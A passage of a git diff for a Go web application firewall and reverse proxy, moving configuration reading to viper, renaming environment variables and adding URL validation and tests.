os.WriteFile(path, []byte(contents), 0o600) - if err != nil { - t.Fatalf("write %s: %v", path, err) - } - - return path -} - -//nolint:funlen // one line for each setting, a list that grows with them -func TestLogsEachSettingWithItsValue(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{rateLimitPerMinute: "45"}) - hostname, _ := os.Hostname() - - want := map[string]string{ - listenAddr: ":8080", - mode: "enforce", - ipv6GroupPrefix: "64", - maxTrackedClients: "20000", - allowNets: "", - rateLimitExemptNets: "", - denyNets: "", - rateLimitPerMinute: "45", - rateLimitPerHour: "1500", - rateLimitPerDay: "6000", - rateLimitExemptPaths: "", - bytesLimitPerMinute: "off", - bytesLimitPerHour: "50G", - bytesLimitPerDay: "100G", - bytesCount: "both", - lookupSource: defaultLookupSource, - lookupDBPath: "", - lookupTimeout: "800ms", - addLookupHeaders: "false", - deniedCountries: "", - allowedCountries: "", - asnLimitPercent: "", - countryLimitPercent: "", - asnBytesPercent: "", - countryBytesPercent: "", - unknownLimitPercent: "100", - asnLimitPercentURL: "", - blocklistURLs: "", - blocklistRefresh: "24h", - blocklistAction: actionDeny, - dnsblZones: "", - dnsblResolver: "", - abuseIPDBKey: "", - abuseIPDBMinScore: "75", - abuseIPDBDailyBudget: "900", - reputationAction: "limit:25", - reputationCacheTTL: defaultReputationCacheTTL, - reputationTimeout: "2s", - crowdSecURL: "", - crowdSecKey: "", - banResponse: "403", - limitBanDuration: "1h", - limitBanRepeatWindow: "24h", - maxBanDuration: "7d", - attackBanDuration: "7d", - maxBans: "5000", - banScopeV4Prefix: "32", - stateDir: "/var/lib/smallwebwaf", - stateWriteDelay: "10s", - stateCounterInterval: "15m", - adminToken: "", - metricsToken: "", - metricsTopN: "50", - instanceName: hostname, - logRequestHeaders: defaultLogRequestHeaders, - logLevel: "info", - rulesDir: "/etc/smallwebwaf/rules.d", - rulesEnabled: "true", - wafMode: config.WAFModeBlock, - wafParanoiaLevel: "1", - wafAnomalyThreshold: "5", - wafDisabledRules: defaultWAFDisabledRules, - wafExemptPaths: "", - wafBodyLimit: off, - trapPaths: "", - errorBurstThreshold: "30", - logRemoteURL: "", - logRemoteTLSCAFile: "", - logRemoteBuffer: "10000", - logRemoteFacility: "local0", - logRemoteAppName: hostname, - alertWebhookURL: "", - alertWebhookHeaders: "", - alertSlackWebhookURL: "", - alertNtfyURL: "", - alertNtfyToken: "", - alertEvents: defaultAlertEvents, - alertCooldown: defaultAlertCooldown, - alertMaxPerHour: "60", - } - maps.Copy(want, loggedAnomalyDefaults()) - - if got := loggedSettings(t, cfg); !maps.Equal(got, want) { - t.Errorf("logged settings\n%v\nwant\n%v", got, want) - } -} - -// loggedSettings returns the settings as cfg logs them, each by its name. -func loggedSettings(t *testing.T, cfg *config.Config) map[string]string { - t.Helper() - - var out bytes.Buffer - - slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) - - var line struct { - Settings map[string]string `json:"settings"` - } - - err := json.Unmarshal(out.Bytes(), &line) - if err != nil { - t.Fatalf("decode %s: %v", out.Bytes(), err) - } - - return line.Settings -} - -// wantSettings checks the settings that are plain values. -func wantSettings(t *testing.T, got *config.Config, want config.Config) { - t.Helper() - - if got.ListenAddr != want.ListenAddr || - got.Observe != want.Observe || - got.RateLimitPerMinute != want.RateLimitPerMinute || - got.RateLimitPerHour != want.RateLimitPerHour || - got.RateLimitPerDay != want.RateLimitPerDay { - t.Errorf("settings\n%+v\nwant\n%+v", got, want) - } - - wantBanSettings(t, got, want) -} - -// wantByteLimitSettings checks the settings for the byte limits. -func wantByteLimitSettings(t *testing.T, got *config.Config, want config.Config) { - t.Helper() - - if got.BytesLimitPerMinute != want.BytesLimitPerMinute || - got.BytesLimitPerHour != want.BytesLimitPerHour || - got.BytesLimitPerDay != want.BytesLimitPerDay || - got.BytesCount != want.BytesCount { - t.Errorf("byte limits %d, %d and %d counting %s, want %d, %d and %d counting %s", - got.BytesLimitPerMinute, got.BytesLimitPerHour, got.BytesLimitPerDay, - got.BytesCount, want.BytesLimitPerMinute, want.BytesLimitPerHour, - want.BytesLimitPerDay, want.BytesCount) - } -} - -// wantLookupSettings checks the settings for lookups. -func wantLookupSettings(t *testing.T, got *config.Config, want config.Config) { - t.Helper() - - if got.LookupSource != want.LookupSource || got.LookupTimeout != want.LookupTimeout || - got.AddLookupHeaders != want.AddLookupHeaders { - t.Errorf("lookups from %q, waited for %s, headers %t; want %q, %s, %t", - got.LookupSource, got.LookupTimeout, got.AddLookupHeaders, - want.LookupSource, want.LookupTimeout, want.AddLookupHeaders) - } -} - -// wantBanSettings checks the settings for bans, the state files, the -// metrics and the rule files. -func wantBanSettings(t *testing.T, got *config.Config, want config.Config) { - t.Helper() - - if got.BanResponse != want.BanResponse || - got.LimitBanDuration != want.LimitBanDuration || - got.LimitBanRepeatWindow != want.LimitBanRepeatWindow || - got.MaxBanDuration != want.MaxBanDuration || - got.AttackBanDuration != want.AttackBanDuration || - got.MaxBans != want.MaxBans || - got.BanScopeV4Prefix != want.BanScopeV4Prefix { - t.Errorf("ban settings\n%+v\nwant\n%+v", got, want) - } - - if got.RulesDir != want.RulesDir || got.RulesEnabled != want.RulesEnabled { - t.Errorf("rule files in %q, on: %t, want %q, %t", - got.RulesDir, got.RulesEnabled, want.RulesDir, want.RulesEnabled) - } - - if got.StateDir != want.StateDir || - got.StateWriteDelay != want.StateWriteDelay || - got.StateCounterInterval != want.StateCounterInterval { - t.Errorf("state settings\n%+v\nwant\n%+v", got, want) - } - - if got.MetricsToken != want.MetricsToken || got.MetricsTopN != want.MetricsTopN { - t.Errorf("metrics token %q and top %d, want %q and %d", - got.MetricsToken, got.MetricsTopN, want.MetricsToken, want.MetricsTopN) - } -} - -// wantNetblocks checks a list of netblocks. -func wantNetblocks(t *testing.T, got []netip.Prefix, want ...string) { - t.Helper() - - gotText := make([]string, 0, len(got)) - for _, netblock := range got { - gotText = append(gotText, netblock.String()) - } - - if !slices.Equal(gotText, want) { - t.Errorf("netblocks %v, want %v", gotText, want) - } -} - -// wantCountries checks the list of countries the setting name gave. -func wantCountries(t *testing.T, name string, got []string, want ...string) { - t.Helper() - - if !slices.Equal(got, want) { - t.Errorf("%s gave %v, want %v", name, got, want) - } -} diff --git a/internal/config/configtest/configtest.go b/internal/config/configtest/configtest.go new file mode 100644 index 0000000..7aa953b --- /dev/null +++ b/internal/config/configtest/configtest.go @@ -0,0 +1,16 @@ +// Package configtest gives the tests of the packages that read settings the +// settings they choose. +package configtest + +import "github.com/spf13/viper" + +// Viper returns a viper holding each of settings, as the viper config.NewViper +// returns holds a process's environment. +func Viper(settings map[string]string) *viper.Viper { + v := viper.New() + for name, value := range settings { + v.Set(name, value) + } + + return v +} diff --git a/internal/config/rproxy.go b/internal/config/rproxy.go index eb078ec..feff306 100644 --- a/internal/config/rproxy.go +++ b/internal/config/rproxy.go @@ -4,42 +4,44 @@ import ( "errors" "fmt" "log/slog" - "math" "net/netip" "net/url" "strconv" - "strings" "time" + + "github.com/spf13/viper" ) -// RProxy is the settings of `smallwebwaf rproxy`. A size or time limit of zero +// RProxy is the settings of `sww rproxy`. A size or time limit of zero // is off. type RProxy struct { - // ListenAddr is where rproxy listens (SWRP_LISTEN_ADDR). + // ListenAddr is where rproxy listens (SWW_RPROXY_LISTEN_ADDR). ListenAddr string - // UpstreamURL is the app (SWRP_UPSTREAM_URL). + // UpstreamURL is the app (SWW_RPROXY_UPSTREAM_URL). UpstreamURL *url.URL // TrustedProxies are the netblocks whose X-Forwarded-For is believed - // (SWRP_TRUSTED_PROXIES). + // (SWW_RPROXY_TRUSTED_PROXIES). TrustedProxies []netip.Prefix - // WAFBackend is servewaf's URL (SWRP_WAF_BACKEND). + // WAFBackend is waf's URL (SWW_RPROXY_WAF_BACKEND). WAFBackend *url.URL - // Timeout is how long rproxy waits for servewaf's answer to a question, - // and to a report (SWRP_TIMEOUT_MS). It cannot be off. - Timeout time.Duration - // DefaultDisposition is what is done with a request when servewaf cannot be - // connected to, does not answer at all, or does not answer within Timeout: - // allow or deny (SWRP_DEFAULT_DISPOSITION). - DefaultDisposition string - // MaxRequestSize is the largest request body (SWRP_MAX_REQUEST_SIZE), and - // MaxResponseSize the largest response body (SWRP_MAX_RESPONSE_SIZE). + // WAFBackendTimeout is how long rproxy waits for waf's answer to a + // question, and to a report (SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS). It + // cannot be off. + WAFBackendTimeout time.Duration + // WAFBackendNoAnswerDisposition is what is done with a request when waf + // cannot be connected to, does not answer at all, or does not answer + // within WAFBackendTimeout: allow or deny + // (SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION). + WAFBackendNoAnswerDisposition string + // MaxRequestSize is the largest request body (SWW_RPROXY_MAX_REQUEST_SIZE), and + // MaxResponseSize the largest response body (SWW_RPROXY_MAX_RESPONSE_SIZE). MaxRequestSize int64 MaxResponseSize int64 // MaxRequestTime bounds sending the whole request: the visitor's request // line and headers, and then, from their end, its body on its way to the - // app (SWRP_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from + // app (SWW_RPROXY_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from // the end of the request to its last byte reaching the visitor - // (SWRP_MAX_RESPONSE_TIME_MS). + // (SWW_RPROXY_MAX_RESPONSE_TIME_MS). MaxRequestTime time.Duration MaxResponseTime time.Duration @@ -48,34 +50,62 @@ type RProxy struct { settings []slog.Attr } +// defaultUpstreamURL is the default of SWW_RPROXY_UPSTREAM_URL. +const defaultUpstreamURL = "http://127.0.0.1:8081" + +// privateRanges are the private address ranges, the default trusted +// proxies. +const privateRanges = "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16" + var ( + errNotUpstreamURL = errors.New( + "is not a URL with only a scheme, a host and an optional port, " + + "such as http://127.0.0.1:8081") errNeedsWAFBackend = errors.New( - "is required: it is servewaf's URL, such as http://servewaf:8080") - errNotDisposition = errors.New("is not allow or deny") - errNotMilliseconds = errors.New( - "is not a whole number of milliseconds above zero, such as 2000") + "is required: it is waf's URL, such as http://waf:8080") + errNotDisposition = errors.New("is not allow or deny") errNotMillisecondsOrOff = errors.New( - "is not a whole number of milliseconds above zero, such as 60000, or off") + "is not a whole number of milliseconds above zero, such as 60000, or off", + ) ) -// RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally -// os.LookupEnv. A setting that is not set takes its default, and -// SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but -// invalid is an error that names it. Since rproxy never touches disk, its -// settings have no _FILE form. -func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, error) { - env := &environment{lookupEnv: withoutFileForms(lookupEnv)} +// RProxyFromEnvironment reads rproxy's settings through v, normally the viper +// NewViper returns, bound to the process's environment. A setting that is not +// set takes its default, and SWW_RPROXY_WAF_BACKEND, which has none, must be +// set. A setting may instead be given as a file: the variable named by the +// setting's name with _FILE added names the file, which is read now. A setting +// that is set but invalid is an error that names it. +func RProxyFromEnvironment(v *viper.Viper) (*RProxy, error) { + env := &environment{v: v} cfg := &RProxy{ - ListenAddr: env.address("SWRP_LISTEN_ADDR"), - UpstreamURL: env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL), - TrustedProxies: env.netblocks("SWRP_TRUSTED_PROXIES", privateRanges), - WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"), - Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"), - DefaultDisposition: env.disposition("SWRP_DEFAULT_DISPOSITION", "allow"), - MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"), - MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"), - MaxRequestTime: env.millisecondsOrOff("SWRP_MAX_REQUEST_TIME_MS", "60000"), - MaxResponseTime: env.millisecondsOrOff("SWRP_MAX_RESPONSE_TIME_MS", "1800000"), + ListenAddr: env.address("SWW_RPROXY_LISTEN_ADDR"), + UpstreamURL: env.appURL( + "SWW_RPROXY_UPSTREAM_URL", + defaultUpstreamURL, + ), + TrustedProxies: env.netblocks( + "SWW_RPROXY_TRUSTED_PROXIES", + privateRanges, + ), + WAFBackend: env.wafBackend("SWW_RPROXY_WAF_BACKEND"), + WAFBackendTimeout: env.milliseconds( + "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS", + "2000", + ), + WAFBackendNoAnswerDisposition: env.disposition( + "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION", + "allow", + ), + MaxRequestSize: env.size("SWW_RPROXY_MAX_REQUEST_SIZE", "100M"), + MaxResponseSize: env.size("SWW_RPROXY_MAX_RESPONSE_SIZE", "1G"), + MaxRequestTime: env.millisecondsOrOff( + "SWW_RPROXY_MAX_REQUEST_TIME_MS", + "60000", + ), + MaxResponseTime: env.millisecondsOrOff( + "SWW_RPROXY_MAX_RESPONSE_TIME_MS", + "1800000", + ), } if env.err != nil { @@ -87,15 +117,15 @@ func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, erro return cfg, nil } -// RProxyListenAddrAndUpstreamURL reads only SWRP_LISTEN_ADDR and -// SWRP_UPSTREAM_URL. The health check in rproxy's container needs no other +// RProxyListenAddrAndUpstreamURL reads only SWW_RPROXY_LISTEN_ADDR and +// SWW_RPROXY_UPSTREAM_URL. The health check in rproxy's container needs no other // setting, so it reads no other. func RProxyListenAddrAndUpstreamURL( - lookupEnv func(string) (string, bool), + v *viper.Viper, ) (string, *url.URL, error) { - env := &environment{lookupEnv: withoutFileForms(lookupEnv)} - listenAddr := env.address("SWRP_LISTEN_ADDR") - upstreamURL := env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL) + env := &environment{v: v} + listenAddr := env.address("SWW_RPROXY_LISTEN_ADDR") + upstreamURL := env.appURL("SWW_RPROXY_UPSTREAM_URL", defaultUpstreamURL) if env.err != nil { return "", nil, env.err @@ -104,27 +134,21 @@ func RProxyListenAddrAndUpstreamURL( return listenAddr, upstreamURL, nil } -// withoutFileForms returns lookupEnv finding no setting named with _FILE, since -// rproxy never touches disk. -func withoutFileForms( - lookupEnv func(string) (string, bool), -) func(string) (string, bool) { - return func(name string) (string, bool) { - if strings.HasSuffix(name, "_FILE") { - return "", false - } - - return lookupEnv(name) - } -} - // LogValue makes an RProxy log as each setting's name with the value it was // given, or its default. func (c *RProxy) LogValue() slog.Value { return slog.GroupValue(c.settings...) } -// wafBackend reads the setting that is servewaf's URL, which must be set. +// appURL reads a setting that is the app's URL. +func (e *environment) appURL(name, defaultValue string) *url.URL { + upstream, err := parseUpstreamURL(e.value(name, defaultValue)) + e.check(name, err) + + return upstream +} + +// wafBackend reads the setting that is waf's URL, which must be set. func (e *environment) wafBackend(name string) *url.URL { value := e.value(name, "") if value == "" { @@ -139,7 +163,7 @@ func (e *environment) wafBackend(name string) *url.URL { return backend } -// disposition reads the setting that is what is done with a request when servewaf +// disposition reads the setting that is what is done with a request when waf // cannot be connected to, does not answer at all, or does not answer in time: // allow or deny. func (e *environment) disposition(name, defaultValue string) string { @@ -151,22 +175,11 @@ func (e *environment) disposition(name, defaultValue string) string { return value } -// milliseconds reads a setting that is a whole number of milliseconds above -// zero. -func (e *environment) milliseconds(name, defaultValue string) time.Duration { - value := e.value(name, defaultValue) - - duration, valid := parseMilliseconds(value) - if !valid { - e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds)) - } - - return duration -} - // millisecondsOrOff reads a setting that is a whole number of milliseconds // above zero, or off, which is 0. -func (e *environment) millisecondsOrOff(name, defaultValue string) time.Duration { +func (e *environment) millisecondsOrOff( + name, defaultValue string, +) time.Duration { value := e.value(name, defaultValue) if value == off { return 0 @@ -180,13 +193,32 @@ func (e *environment) millisecondsOrOff(name, defaultValue string) time.Duration return duration } -// parseMilliseconds reads a whole number of milliseconds above zero, and -// reports whether it is one. -func parseMilliseconds(value string) (time.Duration, bool) { - n, err := strconv.ParseInt(value, 10, 64) - if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) { - return 0, false +// parseUpstreamURL reads the app's URL: http or https, a host and an +// optional port from 1 to 65535, and nothing else, since the request's +// own path and query go to the app unchanged. +func parseUpstreamURL(value string) (*url.URL, error) { + upstream, err := url.Parse(value) + if err != nil { + return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL) } - return time.Duration(n) * time.Millisecond, true + onlySchemeAndHost := (upstream.Scheme == "http" || upstream.Scheme == "https") && + upstream.Hostname() != "" && + upstream.User == nil && + upstream.Opaque == "" && + (upstream.Path == "" || upstream.Path == "/") && + upstream.RawQuery == "" && + upstream.Fragment == "" + if !onlySchemeAndHost { + return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL) + } + + if upstream.Port() != "" { + port, err := strconv.ParseUint(upstream.Port(), 10, 16) + if err != nil || port == 0 { + return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL) + } + } + + return upstream, nil } diff --git a/internal/config/rproxy_test.go b/internal/config/rproxy_test.go index d7e74f4..ca294b6 100644 --- a/internal/config/rproxy_test.go +++ b/internal/config/rproxy_test.go @@ -10,33 +10,30 @@ import ( "time" "sneak.berlin/go/smallwebwaf/internal/config" + "sneak.berlin/go/smallwebwaf/internal/config/configtest" ) // rproxy's settings, by name, and their values in these tests. const ( - wafBackend = "SWRP_WAF_BACKEND" - rproxyTimeout = "SWRP_TIMEOUT_MS" - rproxyDefault = "SWRP_DEFAULT_DISPOSITION" - rproxyListen = "SWRP_LISTEN_ADDR" - rproxyUpstream = "SWRP_UPSTREAM_URL" - rproxyTrusted = "SWRP_TRUSTED_PROXIES" - rproxyMaxRequest = "SWRP_MAX_REQUEST_SIZE" - rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE" - rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS" - rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS" - backendURL = "http://servewaf:8080" - rproxyDefaultAddr = ":8080" - rproxyDefaultApp = "http://127.0.0.1:8081" - notASize = "a lot" + wafBackend = "SWW_RPROXY_WAF_BACKEND" + wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS" + rproxyNoAnswer = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION" + rproxyListen = "SWW_RPROXY_LISTEN_ADDR" + rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL" + rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES" + rproxyMaxRequest = "SWW_RPROXY_MAX_REQUEST_SIZE" + rproxyMaxResponse = "SWW_RPROXY_MAX_RESPONSE_SIZE" + rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS" + rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS" + backendURL = "http://waf:8080" + rproxyNoAnswerAddr = ":8080" + rproxyNoAnswerApp = "http://127.0.0.1:8081" + notASize = "a lot" ) // rproxyConfig reads rproxy's settings from env. func rproxyConfig(env map[string]string) (*config.RProxy, error) { - return config.RProxyFromEnvironment(func(name string) (string, bool) { - value, ok := env[name] - - return value, ok - }) + return config.RProxyFromEnvironment(configtest.Viper(env)) } func TestRProxyDefaults(t *testing.T) { @@ -47,21 +44,32 @@ func TestRProxyDefaults(t *testing.T) { t.Fatalf("settings: %v", err) } - if cfg.ListenAddr != rproxyDefaultAddr || - cfg.UpstreamURL.String() != rproxyDefaultApp || + if cfg.ListenAddr != rproxyNoAnswerAddr || + cfg.UpstreamURL.String() != rproxyNoAnswerApp || cfg.WAFBackend.String() != backendURL { - t.Errorf("addresses %q, %v, %v", cfg.ListenAddr, cfg.UpstreamURL, cfg.WAFBackend) + t.Errorf( + "addresses %q, %v, %v", + cfg.ListenAddr, + cfg.UpstreamURL, + cfg.WAFBackend, + ) } - if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" { - t.Errorf("timeout %v, default disposition %q", cfg.Timeout, cfg.DefaultDisposition) + if cfg.WAFBackendTimeout != 2*time.Second || + cfg.WAFBackendNoAnswerDisposition != "allow" { + t.Errorf( + "waf backend timeout %v, no-answer disposition %q", + cfg.WAFBackendTimeout, + cfg.WAFBackendNoAnswerDisposition, + ) } if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 { t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize) } - if cfg.MaxRequestTime != time.Minute || cfg.MaxResponseTime != 30*time.Minute { + if cfg.MaxRequestTime != time.Minute || + cfg.MaxResponseTime != 30*time.Minute { t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime) } @@ -83,8 +91,8 @@ func TestRProxySettingsAreRead(t *testing.T) { rproxyListen: ":9000", rproxyUpstream: "http://app:3000", rproxyTrusted: "192.0.2.0/24", - rproxyTimeout: "150", - rproxyDefault: "deny", + wafBackendTimeout: "150", + rproxyNoAnswer: "deny", rproxyMaxRequest: "1K", rproxyMaxResponse: off, rproxyRequestTime: off, @@ -100,9 +108,12 @@ func TestRProxySettingsAreRead(t *testing.T) { t.Errorf("addresses %+v", cfg) } - if cfg.Timeout != 150*time.Millisecond || cfg.DefaultDisposition != "deny" || - cfg.MaxRequestSize != 1024 || cfg.MaxResponseSize != 0 || - cfg.MaxRequestTime != 0 || cfg.MaxResponseTime != 250*time.Millisecond { + if cfg.WAFBackendTimeout != 150*time.Millisecond || + cfg.WAFBackendNoAnswerDisposition != "deny" || + cfg.MaxRequestSize != 1024 || + cfg.MaxResponseSize != 0 || + cfg.MaxRequestTime != 0 || + cfg.MaxResponseTime != 250*time.Millisecond { t.Errorf("limits %+v", cfg) } } @@ -114,15 +125,15 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) { name, value string }{ {wafBackend, ""}, - {wafBackend, "servewaf:8080"}, - {wafBackend, "http://servewaf:8080/path"}, - {rproxyTimeout, "0"}, - {rproxyTimeout, "-1"}, - {rproxyTimeout, off}, - {rproxyTimeout, "2s"}, - {rproxyTimeout, "1.25"}, - {rproxyTimeout, "99999999999999999"}, - {rproxyDefault, "maybe"}, + {wafBackend, "waf:8080"}, + {wafBackend, "http://waf:8080/path"}, + {wafBackendTimeout, "0"}, + {wafBackendTimeout, "-1"}, + {wafBackendTimeout, off}, + {wafBackendTimeout, "2s"}, + {wafBackendTimeout, "1.25"}, + {wafBackendTimeout, "99999999999999999"}, + {rproxyNoAnswer, "maybe"}, {rproxyListen, "8080"}, {rproxyUpstream, "app"}, {rproxyUpstream, "127.0.0.1:8081"}, @@ -147,7 +158,9 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() - _, err := rproxyConfig(map[string]string{wafBackend: backendURL, tc.name: tc.value}) + _, err := rproxyConfig( + map[string]string{wafBackend: backendURL, tc.name: tc.value}, + ) if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") { t.Errorf("error %v, want one naming %s", err, tc.name) } @@ -158,7 +171,9 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) { func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) { t.Parallel() - cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL, rproxyTrusted: ""}) + cfg, err := rproxyConfig( + map[string]string{wafBackend: backendURL, rproxyTrusted: ""}, + ) if err != nil { t.Fatalf("settings: %v", err) } @@ -172,36 +187,47 @@ func TestRProxyNeedsItsBackend(t *testing.T) { t.Parallel() _, err := rproxyConfig(nil) - if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") { + if err == nil || + !strings.HasPrefix(err.Error(), wafBackend+": is required") { t.Errorf("error %v, want one saying %s is required", err, wafBackend) } } -func TestRProxyReadsNoFile(t *testing.T) { +func TestRProxySettingReadFromFile(t *testing.T) { t.Parallel() path := filepath.Join(t.TempDir(), "backend") - err := os.WriteFile(path, []byte("http://from-a-file:8080\n"), 0o600) + err := os.WriteFile(path, []byte(backendURL+"\n"), 0o600) if err != nil { t.Fatalf("write: %v", err) } - _, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path}) - if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") { - t.Errorf("error %v, want %s still required", err, wafBackend) - } - - cfg, err := rproxyConfig(map[string]string{ - wafBackend: backendURL, - rproxyTimeout + "_FILE": "/nonexistent/timeout", - }) + cfg, err := rproxyConfig(map[string]string{wafBackend + "_FILE": path}) if err != nil { - t.Fatalf("settings: %v, with the file left unread", err) + t.Fatalf("settings: %v", err) } - if cfg.Timeout != 2*time.Second { - t.Errorf("timeout %v, want the default", cfg.Timeout) + if cfg.WAFBackend.String() != backendURL { + t.Errorf("backend %v, want %s", cfg.WAFBackend, backendURL) + } +} + +func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + + for _, path := range []string{filepath.Join(dir, "missing"), dir} { + _, err := rproxyConfig(map[string]string{ + wafBackend: backendURL, + wafBackendTimeout + "_FILE": path, + }) + + want := wafBackendTimeout + "_FILE: cannot be read: " + if err == nil || !strings.HasPrefix(err.Error(), want) { + t.Errorf("%s: error %v, want one starting %s", path, err, want) + } } } @@ -221,7 +247,8 @@ func TestRProxySettingsAreLoggedByName(t *testing.T) { } for _, name := range []string{ - rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout, rproxyDefault, + rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, wafBackendTimeout, + rproxyNoAnswer, rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime, } { if !slices.Contains(names, name) { diff --git a/internal/config/viper.go b/internal/config/viper.go new file mode 100644 index 0000000..c018b6e --- /dev/null +++ b/internal/config/viper.go @@ -0,0 +1,16 @@ +package config + +import "github.com/spf13/viper" + +// NewViper returns the viper that reads the settings: each setting's +// environment variable, bound to its own name. Every setting of waf +// and rproxy is read through it, and none is read with os.Getenv or +// os.LookupEnv outside it. An environment variable that is set but empty is +// set, as one that holds a value is, which viper does not take for granted. +func NewViper() *viper.Viper { + v := viper.New() + v.AutomaticEnv() + v.AllowEmptyEnv(true) + + return v +} diff --git a/internal/config/viper_test.go b/internal/config/viper_test.go new file mode 100644 index 0000000..dd0969f --- /dev/null +++ b/internal/config/viper_test.go @@ -0,0 +1,34 @@ +package config_test + +import ( + "testing" + + "sneak.berlin/go/smallwebwaf/internal/config" +) + +// These tests set real environment variables, so none runs in parallel. + +func TestTokenSetEmptyInTheEnvironmentStopsTheStart(t *testing.T) { + t.Setenv(adminToken, "") + + _, err := config.WAFFromEnvironment(config.NewViper()) + + want := adminToken + ": is shorter than 32 characters" + if err == nil || err.Error() != want { + t.Fatalf("error %v, want %s", err, want) + } +} + +func TestListSetEmptyInTheEnvironmentReplacesItsDefault(t *testing.T) { + t.Setenv(wafBackend, backendURL) + t.Setenv(rproxyTrusted, "") + + cfg, err := config.RProxyFromEnvironment(config.NewViper()) + if err != nil { + t.Fatalf("settings: %v", err) + } + + if len(cfg.TrustedProxies) != 0 { + t.Errorf("trusted proxies %v, want none", cfg.TrustedProxies) + } +} diff --git a/internal/config/waf.go b/internal/config/waf.go new file mode 100644 index 0000000..513d253 --- /dev/null +++ b/internal/config/waf.go @@ -0,0 +1,2520 @@ +package config + +import ( + "crypto/x509" + "errors" + "fmt" + "log/slog" + "maps" + "math" + "net/http" + "net/netip" + "net/url" + "os" + "path/filepath" + "slices" + "strconv" + "strings" + "time" + "unicode" + "unicode/utf8" + + "github.com/spf13/viper" + + "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/anomaly" + "sneak.berlin/go/smallwebwaf/internal/coreruleset" + "sneak.berlin/go/smallwebwaf/internal/remotelog" +) + +// WAF is the settings of `sww waf`. A time or size limit of zero is off. +type WAF struct { + // ListenAddr is where waf listens (SWW_WAF_LISTEN_ADDR). + ListenAddr string + // InstanceName is the name every log line and alert gives as instance, + // and every metric carries as its label instance (SWW_WAF_INSTANCE_NAME), + // by default the host's name, which docker sets to the first 12 + // characters of the container's id. + InstanceName string + // Observe is true in observe mode, when SWW_WAF_MODE is observe rather + // than enforce: a request that SWW_WAF_DENY_NETS, a ban, the country + // lists, a rate limit, a rule or the Core Rule Set would refuse is + // allowed instead, and no ban is made. + Observe bool + // IPv6GroupPrefix is the length of the IPv6 netblock that is one client + // (SWW_WAF_IPV6_GROUP_PREFIX), from 32 to 128. + IPv6GroupPrefix int + // MaxTrackedClients is the most clients the table of clients holds, in + // memory and in clients.json (SWW_WAF_MAX_TRACKED_CLIENTS). + MaxTrackedClients int + // AllowNets are the netblocks whose clients skip every check + // (SWW_WAF_ALLOW_NETS). RateLimitExemptNets are those whose clients the + // rate limits neither count nor refuse (SWW_WAF_RATE_LIMIT_EXEMPT_NETS). + // DenyNets are those whose clients are always refused + // (SWW_WAF_DENY_NETS). + AllowNets []netip.Prefix + RateLimitExemptNets []netip.Prefix + DenyNets []netip.Prefix + // RateLimitPerMinute, RateLimitPerHour and RateLimitPerDay are the + // most requests a client may make in a minute, an hour and a day + // (SWW_WAF_RATE_LIMIT_PER_MINUTE, SWW_WAF_RATE_LIMIT_PER_HOUR and + // SWW_WAF_RATE_LIMIT_PER_DAY). + RateLimitPerMinute int64 + RateLimitPerHour int64 + RateLimitPerDay int64 + // RateLimitExemptPaths are the path prefixes whose requests the rate + // limits neither count nor refuse (SWW_WAF_RATE_LIMIT_EXEMPT_PATHS). + // Each starts with /. + RateLimitExemptPaths []string + // BytesLimitPerMinute, BytesLimitPerHour and BytesLimitPerDay are the + // most bytes a client's requests may carry in a minute, an hour and a + // day (SWW_WAF_BYTES_LIMIT_PER_MINUTE, SWW_WAF_BYTES_LIMIT_PER_HOUR and + // 